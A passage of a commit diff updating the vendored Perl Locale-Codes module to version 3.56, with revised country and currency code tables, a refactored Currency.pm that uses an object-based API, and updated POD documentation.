+         q(0),
+         ],
       q(VGB) => [
          q(0243),
          q(0),
          ],
+      q(VIR) => [
+         q(0244),
+         q(0),
+         ],
+      q(VNM) => [
+         q(0242),
+         q(0),
+         ],
+      q(VUT) => [
+         q(0240),
+         q(0),
+         ],
+      q(WLF) => [
+         q(0245),
+         q(0),
+         ],
       q(WSM) => [
          q(0192),
          q(0),
          ],
+      q(YEM) => [
+         q(0247),
+         q(0),
+         ],
       q(ZAF) => [
          q(0206),
          q(0),
          ],
+      q(ZMB) => [
+         q(0248),
+         q(0),
+         ],
+      q(ZWE) => [
+         q(0249),
+         q(0),
+         ],
       },
    q(un-numeric) => {
       q(004) => [
@@ -11347,6 +11434,10 @@
          q(0003),
          q(0),
          ],
+      q(010) => [
+         q(0009),
+         q(0),
+         ],
       q(012) => [
          q(0004),
          q(0),
@@ -11427,6 +11518,10 @@
          q(0030),
          q(0),
          ],
+      q(074) => [
+         q(0031),
+         q(0),
+         ],
       q(076) => [
          q(0032),
          q(0),
@@ -11435,6 +11530,10 @@
          q(0023),
          q(0),
          ],
+      q(086) => [
+         q(0033),
+         q(0),
+         ],
       q(090) => [
          q(0204),
          q(0),
@@ -11503,6 +11602,14 @@
          q(0046),
          q(0),
          ],
+      q(162) => [
+         q(0047),
+         q(0),
+         ],
+      q(166) => [
+         q(0048),
+         q(0),
+         ],
       q(170) => [
          q(0049),
          q(0),
@@ -11595,6 +11702,10 @@
          q(0072),
          q(0),
          ],
+      q(239) => [
+         q(0207),
+         q(0),
+         ],
       q(242) => [
          q(0074),
          q(0),
@@ -11619,6 +11730,10 @@
          q(0078),
          q(0),
          ],
+      q(260) => [
+         q(0079),
+         q(0),
+         ],
       q(262) => [
          q(0062),
          q(0),
@@ -11691,6 +11806,10 @@
          q(0096),
          q(0),
          ],
+      q(334) => [
+         q(0097),
+         q(0),
+         ],
       q(336) => [
          q(0098),
          q(0),
@@ -11765,7 +11884,7 @@
          ],
       q(408) => [
          q(0118),
-         q(0),
+         q(5),
          ],
       q(410) => [
          q(0119),
@@ -11927,6 +12046,10 @@
          q(0158),
          q(0),
          ],
+      q(548) => [
+         q(0240),
+         q(0),
+         ],
       q(554) => [
          q(0159),
          q(0),
@@ -11959,6 +12082,10 @@
          q(0165),
          q(0),
          ],
+      q(581) => [
+         q(0236),
+         q(0),
+         ],
       q(583) => [
          q(0145),
          q(0),
@@ -12011,6 +12138,10 @@
          q(0094),
          q(0),
          ],
+      q(626) => [
+         q(0222),
+         q(0),
+         ],
       q(630) => [
          q(0179),
          q(0),
@@ -12076,7 +12207,7 @@
          q(0),
          ],
       q(680) => [
-         q(0251),
+         q(0250),
          q(0),
          ],
       q(682) => [
@@ -12107,6 +12238,10 @@
          q(0202),
          q(0),
          ],
+      q(704) => [
+         q(0242),
+         q(0),
+         ],
       q(705) => [
          q(0203),
          q(0),
@@ -12119,6 +12254,10 @@
          q(0206),
          q(0),
          ],
+      q(716) => [
+         q(0249),
+         q(0),
+         ],
       q(724) => [
          q(0209),
          q(0),
@@ -12127,12 +12266,104 @@
          q(0208),
          q(0),
          ],
+      q(729) => [
+         q(0211),
+         q(0),
+         ],
+      q(732) => [
+         q(0246),
+         q(0),
+         ],
+      q(740) => [
+         q(0212),
+         q(0),
+         ],
+      q(744) => [
+         q(0213),
+         q(0),
+         ],
+      q(748) => [
+         q(0214),
+         q(0),
+         ],
+      q(752) => [
+         q(0215),
+         q(0),
+         ],
+      q(756) => [
+         q(0216),
+         q(0),
+         ],
+      q(760) => [
+         q(0217),
+         q(0),
+         ],
+      q(762) => [
+         q(0219),
+         q(0),
+         ],
+      q(764) => [
+         q(0221),
+         q(0),
+         ],
+      q(768) => [
+         q(0223),
+         q(0),
+         ],
+      q(772) => [
+         q(0224),
+         q(0),
+         ],
+      q(776) => [
+         q(0225),
+         q(0),
+         ],
+      q(780) => [
+         q(0226),
+         q(0),
+         ],
+      q(784) => [
+         q(0234),
+         q(0),
+         ],
+      q(788) => [
+         q(0227),
+         q(0),
+         ],
+      q(792) => [
+         q(0228),
+         q(0),
+         ],
+      q(795) => [
+         q(0229),
+         q(0),
+         ],
+      q(796) => [
+         q(0230),
+         q(0),
+         ],
+      q(798) => [
+         q(0231),
+         q(0),
+         ],
+      q(800) => [
+         q(0232),
+         q(0),
+         ],
+      q(804) => [
+         q(0233),
+         q(0),
+         ],
+      q(807) => [
+         q(0132),
+         q(0),
+         ],
       q(818) => [
          q(0066),
          q(0),
          ],
-      q(830) => [
-         q(0250),
+      q(826) => [
+         q(0235),
          q(0),
          ],
       q(831) => [
@@ -12147,14 +12378,50 @@
          q(0108),
          q(0),
          ],
+      q(834) => [
+         q(0220),
+         q(0),
+         ],
+      q(840) => [
+         q(0237),
+         q(0),
+         ],
+      q(850) => [
+         q(0244),
+         q(0),
+         ],
       q(854) => [
          q(0036),
          q(0),
          ],
+      q(858) => [
+         q(0238),
+         q(0),
+         ],
+      q(860) => [
+         q(0239),
+         q(0),
+         ],
+      q(862) => [
+         q(0241),
+         q(0),
+         ],
+      q(876) => [
+         q(0245),
+         q(0),
+         ],
       q(882) => [
          q(0192),
          q(0),
          ],
+      q(887) => [
+         q(0247),
+         q(0),
+         ],
+      q(894) => [
+         q(0248),
+         q(0),
+         ],
       },
 };
 
@@ -13158,37 +13425,35 @@
       q(0247) => q(YE),
       q(0248) => q(ZM),
       q(0249) => q(ZW),
-      q(0252) => q(QZ),
-      q(0253) => q(XA),
-      q(0254) => q(XB),
-      q(0255) => q(QS),
-      q(0256) => q(CP),
-      q(0257) => q(XC),
-      q(0258) => q(XD),
-      q(0259) => q(DG),
-      q(0260) => q([None Assigned]),
-      q(0261) => q(A3),
-      q(0262) => q(XE),
-      q(0263) => q(XG),
-      q(0264) => q(QX),
-      q(0265) => q(A2),
-      q(0266) => q(XH),
-      q(0267) => q(XJ),
-      q(0268) => q(XQ),
-      q(0269) => q(XU),
-      q(0270) => q(QU),
-      q(0271) => q(XM),
-      q(0272) => q(XK),
-      q(0273) => q(QM),
-      q(0274) => q(XV),
-      q(0275) => q(XL),
-      q(0276) => q(XP),
-      q(0277) => q(XS),
-      q(0278) => q(XR),
-      q(0279) => q(XT),
-      q(0280) => q(A1),
-      q(0281) => q(QW),
-      q(0282) => q(XW),
+      q(0251) => q(QZ),
+      q(0252) => q(XA),
+      q(0253) => q(XB),
+      q(0254) => q(QS),
+      q(0255) => q(CP),
+      q(0256) => q(XC),
+      q(0257) => q(XD),
+      q(0258) => q(DG),
+      q(0259) => q(XE),
+      q(0260) => q(XG),
+      q(0261) => q(QX),
+      q(0262) => q(A2),
+      q(0263) => q(XH),
+      q(0264) => q(XJ),
+      q(0265) => q(XQ),
+      q(0266) => q(XU),
+      q(0267) => q(QU),
+      q(0268) => q(XM),
+      q(0269) => q(XK),
+      q(0270) => q(QM),
+      q(0271) => q(XV),
+      q(0272) => q(XL),
+      q(0273) => q(XP),
+      q(0274) => q(XS),
+      q(0275) => q(XR),
+      q(0276) => q(XT),
+      q(0277) => q(A1),
+      q(0278) => q(QW),
+      q(0279) => q(XW),
       },
    q(genc-alpha-3) => {
       q(0001) => q(AFG),
@@ -13436,37 +13701,35 @@
       q(0247) => q(YEM),
       q(0248) => q(ZMB),
       q(0249) => q(ZWE),
-      q(0252) => q(XQZ),
-      q(0253) => q(XAC),
-      q(0254) => q(XBK),
-      q(0255) => q(XBI),
-      q(0256) => q(CPT),
-      q(0257) => q(XCS),
-      q(0258) => q(XXD),
-      q(0259) => q(DGA),
-      q(0260) => q(XKN),
-      q(0261) => q(AX3),
-      q(0262) => q(XEU),
-      q(0263) => q(XGZ),
-      q(0264) => q(XGL),
-      q(0265) => q(AX2),
-      q(0266) => q(XHO),
-      q(0267) => q(XJM),
-      q(0268) => q(XJV),
-      q(0269) => q(XJA),
-      q(0270) => q(XJN),
-      q(0271) => q(XKR),
-      q(0272) => q(XKS),
-      q(0273) => q(XMW),
-      q(0274) => q(XNV),
-      q(0275) => q(XPL),
-      q(0276) => q(XPR),
-      q(0277) => q(XSP),
-      q(0278) => q(XSV),
-      q(0279) => q(XTR),
-      q(0280) => q(AX1),
-      q(0281) => q(XWK),
-      q(0282) => q(XWB),
+      q(0251) => q(XQZ),
+      q(0252) => q(XAC),
+      q(0253) => q(XBK),
+      q(0254) => q(XBI),
+      q(0255) => q(CPT),
+      q(0256) => q(XCS),
+      q(0257) => q(XXD),
+      q(0258) => q(DGA),
+      q(0259) => q(XEU),
+      q(0260) => q(XGZ),
+      q(0261) => q(XGL),
+      q(0262) => q(AX2),
+      q(0263) => q(XHO),
+      q(0264) => q(XJM),
+      q(0265) => q(XJV),
+      q(0266) => q(XJA),
+      q(0267) => q(XJN),
+      q(0268) => q(XKR),
+      q(0269) => q(XKS),
+      q(0270) => q(XMW),
+      q(0271) => q(XNV),
+      q(0272) => q(XPL),
+      q(0273) => q(XPR),
+      q(0274) => q(XSP),
+      q(0275) => q(XSV),
+      q(0276) => q(XTR),
+      q(0277) => q(AX1),
+      q(0278) => q(XWK),
+      q(0279) => q(XWB),
       },
    q(genc-numeric) => {
       q(0001) => q(004),
@@ -13714,37 +13977,35 @@
       q(0247) => q(887),
       q(0248) => q(894),
       q(0249) => q(716),
-      q(0252) => q(900),
-      q(0253) => q(902),
-      q(0254) => q(903),
-      q(0255) => q(904),
-      q(0256) => q(905),
-      q(0257) => q(906),
-      q(0258) => q(907),
-      q(0259) => q(908),
-      q(0260) => q(913),
-      q(0261) => q(914),
-      q(0262) => q(915),
-      q(0263) => q(916),
-      q(0264) => q(917),
-      q(0265) => q(918),
-      q(0266) => q(919),
-      q(0267) => q(920),
-      q(0268) => q(921),
-      q(0269) => q(922),
-      q(0270) => q(923),
-      q(0271) => q(924),
-      q(0272) => q(901),
-      q(0273) => q(925),
-      q(0274) => q(926),
-      q(0275) => q(927),
-      q(0276) => q(928),
-      q(0277) => q(929),
-      q(0278) => q(930),
-      q(0279) => q(931),
-      q(0280) => q(932),
-      q(0281) => q(933),
-      q(0282) => q(934),
+      q(0251) => q(900),
+      q(0252) => q(902),
+      q(0253) => q(903),
+      q(0254) => q(904),
+      q(0255) => q(905),
+      q(0256) => q(906),
+      q(0257) => q(907),
+      q(0258) => q(908),
+      q(0259) => q(915),
+      q(0260) => q(916),
+      q(0261) => q(917),
+      q(0262) => q(918),
+      q(0263) => q(919),
+      q(0264) => q(920),
+      q(0265) => q(921),
+      q(0266) => q(922),
+      q(0267) => q(923),
+      q(0268) => q(924),
+      q(0269) => q(901),
+      q(0270) => q(925),
+      q(0271) => q(926),
+      q(0272) => q(927),
+      q(0273) => q(928),
+      q(0274) => q(929),
+      q(0275) => q(930),
+      q(0276) => q(931),
+      q(0277) => q(932),
+      q(0278) => q(933),
+      q(0279) => q(934),
       },
    q(numeric) => {
       q(0001) => q(004),
@@ -14006,6 +14267,7 @@
       q(0006) => q(AND),
       q(0007) => q(AGO),
       q(0008) => q(AIA),
+      q(0009) => q(ATA),
       q(0010) => q(ATG),
       q(0011) => q(ARG),
       q(0012) => q(ARM),
@@ -14027,7 +14289,9 @@
       q(0028) => q(BES),
       q(0029) => q(BIH),
       q(0030) => q(BWA),
+      q(0031) => q(BVT),
       q(0032) => q(BRA),
+      q(0033) => q(IOT),
       q(0034) => q(BRN),
       q(0035) => q(BGR),
       q(0036) => q(BFA),
@@ -14041,6 +14305,8 @@
       q(0044) => q(TCD),
       q(0045) => q(CHL),
       q(0046) => q(CHN),
+      q(0047) => q(CXR),
+      q(0048) => q(CCK),
       q(0049) => q(COL),
       q(0050) => q(COM),
       q(0051) => q(COD),
@@ -14071,6 +14337,7 @@
       q(0076) => q(FRA),
       q(0077) => q(GUF),
       q(0078) => q(PYF),
+      q(0079) => q(ATF),
       q(0080) => q(GAB),
       q(0081) => q(GMB),
       q(0082) => q(GEO),
@@ -14088,6 +14355,7 @@
       q(0094) => q(GNB),
       q(0095) => q(GUY),
       q(0096) => q(HTI),
+      q(0097) => q(HMD),
       q(0098) => q(VAT),
       q(0099) => q(HND),
       q(0100) => q(HKG),
@@ -14122,6 +14390,7 @@
       q(0129) => q(LTU),
       q(0130) => q(LUX),
       q(0131) => q(MAC),
+      q(0132) => q(MKD),
       q(0133) => q(MDG),
       q(0134) => q(MWI),
       q(0135) => q(MYS),
@@ -14196,10 +14465,48 @@
       q(0204) => q(SLB),
       q(0205) => q(SOM),
       q(0206) => q(ZAF),
+      q(0207) => q(SGS),
       q(0208) => q(SSD),
       q(0209) => q(ESP),
       q(0210) => q(LKA),
+      q(0211) => q(SDN),
+      q(0212) => q(SUR),
+      q(0213) => q(SJM),
+      q(0214) => q(SWZ),
+      q(0215) => q(SWE),
+      q(0216) => q(CHE),
+      q(0217) => q(SYR),
+      q(0219) => q(TJK),
+      q(0220) => q(TZA),
+      q(0221) => q(THA),
+      q(0222) => q(TLS),
+      q(0223) => q(TGO),
+      q(0224) => q(TKL),
+      q(0225) => q(TON),
+      q(0226) => q(TTO),
+      q(0227) => q(TUN),
+      q(0228) => q(TUR),
+      q(0229) => q(TKM),
+      q(0230) => q(TCA),
+      q(0231) => q(TUV),
+      q(0232) => q(UGA),
+      q(0233) => q(UKR),
+      q(0234) => q(ARE),
+      q(0235) => q(GBR),
+      q(0236) => q(UMI),
+      q(0237) => q(USA),
+      q(0238) => q(URY),
+      q(0239) => q(UZB),
+      q(0240) => q(VUT),
+      q(0241) => q(VEN),
+      q(0242) => q(VNM),
       q(0243) => q(VGB),
+      q(0244) => q(VIR),
+      q(0245) => q(WLF),
+      q(0246) => q(ESH),
+      q(0247) => q(YEM),
+      q(0248) => q(ZMB),
+      q(0249) => q(ZWE),
       },
    q(un-numeric) => {
       q(0001) => q(004),
@@ -14210,6 +14517,7 @@
       q(0006) => q(020),
       q(0007) => q(024),
       q(0008) => q(660),
+      q(0009) => q(010),
       q(0010) => q(028),
       q(0011) => q(032),
       q(0012) => q(051),
@@ -14231,7 +14539,9 @@
       q(0028) => q(535),
       q(0029) => q(070),
       q(0030) => q(072),
+      q(0031) => q(074),
       q(0032) => q(076),
+      q(0033) => q(086),
       q(0034) => q(096),
       q(0035) => q(100),
       q(0036) => q(854),
@@ -14245,6 +14555,8 @@
       q(0044) => q(148),
       q(0045) => q(152),
       q(0046) => q(156),
+      q(0047) => q(162),
+      q(0048) => q(166),
       q(0049) => q(170),
       q(0050) => q(174),
       q(0051) => q(180),
@@ -14275,6 +14587,7 @@
       q(0076) => q(250),
       q(0077) => q(254),
       q(0078) => q(258),
+      q(0079) => q(260),
       q(0080) => q(266),
       q(0081) => q(270),
       q(0082) => q(268),
@@ -14292,6 +14605,7 @@
       q(0094) => q(624),
       q(0095) => q(328),
       q(0096) => q(332),
+      q(0097) => q(334),
       q(0098) => q(336),
       q(0099) => q(340),
       q(0100) => q(344),
@@ -14326,6 +14640,7 @@
       q(0129) => q(440),
       q(0130) => q(442),
       q(0131) => q(446),
+      q(0132) => q(807),
       q(0133) => q(450),
       q(0134) => q(454),
       q(0135) => q(458),
@@ -14400,12 +14715,49 @@
       q(0204) => q(090),
       q(0205) => q(706),
       q(0206) => q(710),
+      q(0207) => q(239),
       q(0208) => q(728),
       q(0209) => q(724),
       q(0210) => q(144),
+      q(0211) => q(729),
+      q(0212) => q(740),
+      q(0213) => q(744),
+      q(0214) => q(748),
+      q(0215) => q(752),
+      q(0216) => q(756),
+      q(0217) => q(760),
+      q(0219) => q(762),
+      q(0220) => q(834),
+      q(0221) => q(764),
+      q(0222) => q(626),
+      q(0223) => q(768),
+      q(0224) => q(772),
+      q(0225) => q(776),
+      q(0226) => q(780),
+      q(0227) => q(788),
+      q(0228) => q(792),
+      q(0229) => q(795),
+      q(0230) => q(796),
+      q(0231) => q(798),
+      q(0232) => q(800),
+      q(0233) => q(804),
+      q(0234) => q(784),
+      q(0235) => q(826),
+      q(0236) => q(581),
+      q(0237) => q(840),
+      q(0238) => q(858),
+      q(0239) => q(860),
+      q(0240) => q(548),
+      q(0241) => q(862),
+      q(0242) => q(704),
       q(0243) => q(092),
-      q(0250) => q(830),
-      q(0251) => q(680),
+      q(0244) => q(850),
+      q(0245) => q(876),
+      q(0246) => q(732),
+      q(0247) => q(887),
+      q(0248) => q(894),
+      q(0249) => q(716),
+      q(0250) => q(680),
       },
 };
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Nov 18 09:22:54 EST 2016
+#    Generated on: Fri Feb 23 12:58:17 EST 2018
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Retired{'country'}{'alpha-2'}{'code'} = {
    q(an) => q(Netherlands Antilles),
@@ -340,6 +340,7 @@
 };
 
 $Locale::Codes::Retired{'country'}{'un-numeric'}{'code'} = {
+   q(830) => q(Channel Islands),
 };
 
 $Locale::Codes::Retired{'country'}{'alpha-2'}{'name'} = {
@@ -615,10 +616,13 @@
 
 $Locale::Codes::Retired{'country'}{'un-alpha-3'}{'name'} = {
    q(czech republic) => [ q(CZE), q(Czech Republic) ],
+   q(korea, the democratic people's republic of) => [ q(PRK), q(Korea, The Democratic People's Republic of) ],
 };
 
 $Locale::Codes::Retired{'country'}{'un-numeric'}{'name'} = {
+   q(channel islands) => [ q(830), q(Channel Islands) ],
    q(czech republic) => [ q(203), q(Czech Republic) ],
+   q(korea, the democratic people's republic of) => [ q(408), q(Korea, The Democratic People's Republic of) ],
 };
 
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,98 +1,94 @@
 package Locale::Codes::Currency;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
+use Exporter qw(import);
 
-require Exporter;
-use Carp;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
+
+################################################################################
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes;
 use Locale::Codes::Constants;
-use Locale::Codes::Currency_Codes;
-use Locale::Codes::Currency_Retired;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
-
-our($VERSION, at ISA, at EXPORT, at EXPORT_OK);
-
-$VERSION='3.42';
- at ISA       = qw(Exporter);
- at EXPORT    = qw(code2currency
+ at EXPORT    = qw(
+                code2currency
                 currency2code
                 all_currency_codes
                 all_currency_names
                 currency_code2code
-                LOCALE_CURR_ALPHA
-                LOCALE_CURR_NUMERIC
                );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_CURRENCY);
 
+our $obj = new Locale::Codes('currency');
+$obj->show_errors(0);
+
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
+}
+
 sub code2currency {
-   return Locale::Codes::_code2name('currency', at _);
+   return $obj->code2name(@_);
 }
 
 sub currency2code {
-   return Locale::Codes::_name2code('currency', at _);
+   return $obj->name2code(@_);
 }
 
 sub currency_code2code {
-   return Locale::Codes::_code2code('currency', at _);
+   return $obj->code2code(@_);
 }
 
 sub all_currency_codes {
-   return Locale::Codes::_all_codes('currency', at _);
+   return $obj->all_codes(@_);
 }
 
 sub all_currency_names {
-   return Locale::Codes::_all_names('currency', at _);
+   return $obj->all_names(@_);
 }
 
 sub rename_currency {
-   return Locale::Codes::_rename('currency', at _);
+   return $obj->rename_code(@_);
 }
 
 sub add_currency {
-   return Locale::Codes::_add_code('currency', at _);
+   return $obj->add_code(@_);
 }
 
 sub delete_currency {
-   return Locale::Codes::_delete_code('currency', at _);
+   return $obj->delete_code(@_);
 }
 
 sub add_currency_alias {
-   return Locale::Codes::_add_alias('currency', at _);
+   return $obj->add_alias(@_);
 }
 
 sub delete_currency_alias {
-   return Locale::Codes::_delete_alias('currency', at _);
+   return $obj->delete_alias(@_);
 }
 
 sub rename_currency_code {
-   return Locale::Codes::_rename_code('currency', at _);
+   return $obj->replace_code(@_);
 }
 
 sub add_currency_code_alias {
-   return Locale::Codes::_add_code_alias('currency', at _);
+   return $obj->add_code_alias(@_);
 }
 
 sub delete_currency_code_alias {
-   return Locale::Codes::_delete_code_alias('currency', at _);
+   return $obj->delete_code_alias(@_);
 }
 
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,91 +2,108 @@
 
 =head1 NAME
 
-Locale::Codes::Currency - standard codes for currency identification
+Locale::Codes::Currency - module for dealing with currency code sets
 
 =head1 SYNOPSIS
 
-    use Locale::Codes::Currency;
+   use Locale::Codes::Currency;
 
-    $curr = code2currency('usd');     # $curr gets 'US Dollar'
-    $code = currency2code('Euro');    # $code gets 'eur'
+   $name = code2currency(CODE);
+   $code = currency2code(NAME);
 
-    @codes   = all_currency_codes();
-    @names   = all_currency_names();
+   @codes   = all_currency_codes();
+   @names   = all_currency_names();
 
 =head1 DESCRIPTION
 
-This module provides access to standard codes used for identifying
-currencies and funds, such as those defined in ISO 4217.
+This module provides access to currency code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-4217 three-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-currencies. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: currency
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $curr = code2currency('usd','alpha');
-   $curr = code2currency('usd',LOCALE_CURR_ALPHA);
+=over 4
 
-The codesets currently supported are:
+=item B<code2currency(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha, LOCALE_CURR_ALPHA>
+=item B<currency2code(NAME [,CODESET] [,'retired'])>
 
-This is a set of three-letter (uppercase) codes from ISO 4217 such
-as EUR for Euro.
+See B<name2code> in L<Locale::Codes>
 
-Two of the codes specified by the standard (XTS which is reserved
-for testing purposes and XXX which is for transactions where no
-currency is involved) are omitted.
+=item B<currency_code2code(CODE ,CODESET ,CODESET2)>
 
-This is the default code set.
+See B<code2code> in L<Locale::Codes>
 
-=item B<num, LOCALE_CURR_NUMERIC>
+=item B<all_currency_codes([CODESET] [,'retired'])>
 
-This is the set of three-digit numeric codes from ISO 4217.
+See B<all_codes> in L<Locale::Codes>
 
+=item B<all_currency_names([CODESET] [,'retired'])>
+
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2currency(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Codes::Currency::show_errors(FLAG)>
 
-=item B<currency2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<currency_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_currency_codes([CODESET] [,'retired'])>
+=item B<Locale::Codes::Currency::rename_currency(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_currency_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::Currency::rename_currency(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Codes::Currency::add_currency(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Currency::delete_currency(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Currency::add_currency_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Currency::delete_currency_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Currency::rename_currency_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Currency::add_currency_code_alias(CODE ,NEW_CODE [,CODESET])>
 
-=item B<Locale::Codes::Currency::delete_currency_code_alias( CODE [,CODESET])>
+See B<add_code_alias> in L<Locale::Codes>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+=item B<Locale::Codes::Currency::delete_currency_code_alias(CODE [,CODESET])>
 
+See B<delete_code_alias> in L<Locale::Codes>
+
 =back
 
 =head1 SEE ALSO
@@ -97,14 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.iso.org/iso/support/currency_codes_list-1.htm>
-
-The ISO 4217 data.
-
 =back
 
 =head1 AUTHOR
@@ -115,10 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001      Michael Hennecke
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Tue Nov 29 15:43:48 EST 2016
+#    Generated on: Fri Feb 23 12:54:50 EST 2018
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Data{'currency'}{'id'} = '0177';
 
@@ -50,7 +50,7 @@
       q(Australian Dollar),
       ],
    q(0012) => [
-      q(Azerbaijanian Manat),
+      q(Azerbaijan Manat),
       ],
    q(0013) => [
       q(Bahamian Dollar),
@@ -140,7 +140,7 @@
       q(Unidad de Valor Real),
       ],
    q(0042) => [
-      q(Comoro Franc),
+      q(Comorian Franc),
       ],
    q(0043) => [
       q(Congolese Franc),
@@ -215,7 +215,7 @@
       q(Pound Sterling),
       ],
    q(0067) => [
-      q(Guinea Franc),
+      q(Guinean Franc),
       ],
    q(0068) => [
       q(Guyana Dollar),
@@ -278,7 +278,7 @@
       q(Som),
       ],
    q(0088) => [
-      q(Kip),
+      q(Lao Kip),
       ],
    q(0089) => [
       q(Lebanese Pound),
@@ -377,7 +377,7 @@
       q(Sol),
       ],
    q(0121) => [
-      q(Philippine Peso),
+      q(Philippine Piso),
       ],
    q(0122) => [
       q(Zloty),
@@ -575,7 +575,7 @@
       q(0011),
       q(0),
       ],
-   q(azerbaijanian manat) => [
+   q(azerbaijan manat) => [
       q(0012),
       q(0),
       ],
@@ -683,7 +683,7 @@
       q(0040),
       q(0),
       ],
-   q(comoro franc) => [
+   q(comorian franc) => [
       q(0042),
       q(0),
       ],
@@ -791,7 +791,7 @@
       q(0119),
       q(0),
       ],
-   q(guinea franc) => [
+   q(guinean franc) => [
       q(0067),
       q(0),
       ],
@@ -839,10 +839,6 @@
       q(0118),
       q(0),
       ],
-   q(kip) => [
-      q(0088),
-      q(0),
-      ],
    q(kuna) => [
       q(0046),
       q(0),
@@ -859,6 +855,10 @@
       q(0110),
       q(0),
       ],
+   q(lao kip) => [
+      q(0088),
+      q(0),
+      ],
    q(lari) => [
       q(0062),
       q(0),
@@ -1007,7 +1007,7 @@
       q(0160),
       q(0),
       ],
-   q(philippine peso) => [
+   q(philippine piso) => [
       q(0121),
       q(0),
       ],
@@ -1355,10 +1355,6 @@
          q(0017),
          q(0),
          ],
-      q(BYR) => [
-         q(0017),
-         q(0),
-         ],
       q(BZD) => [
          q(0018),
          q(0),
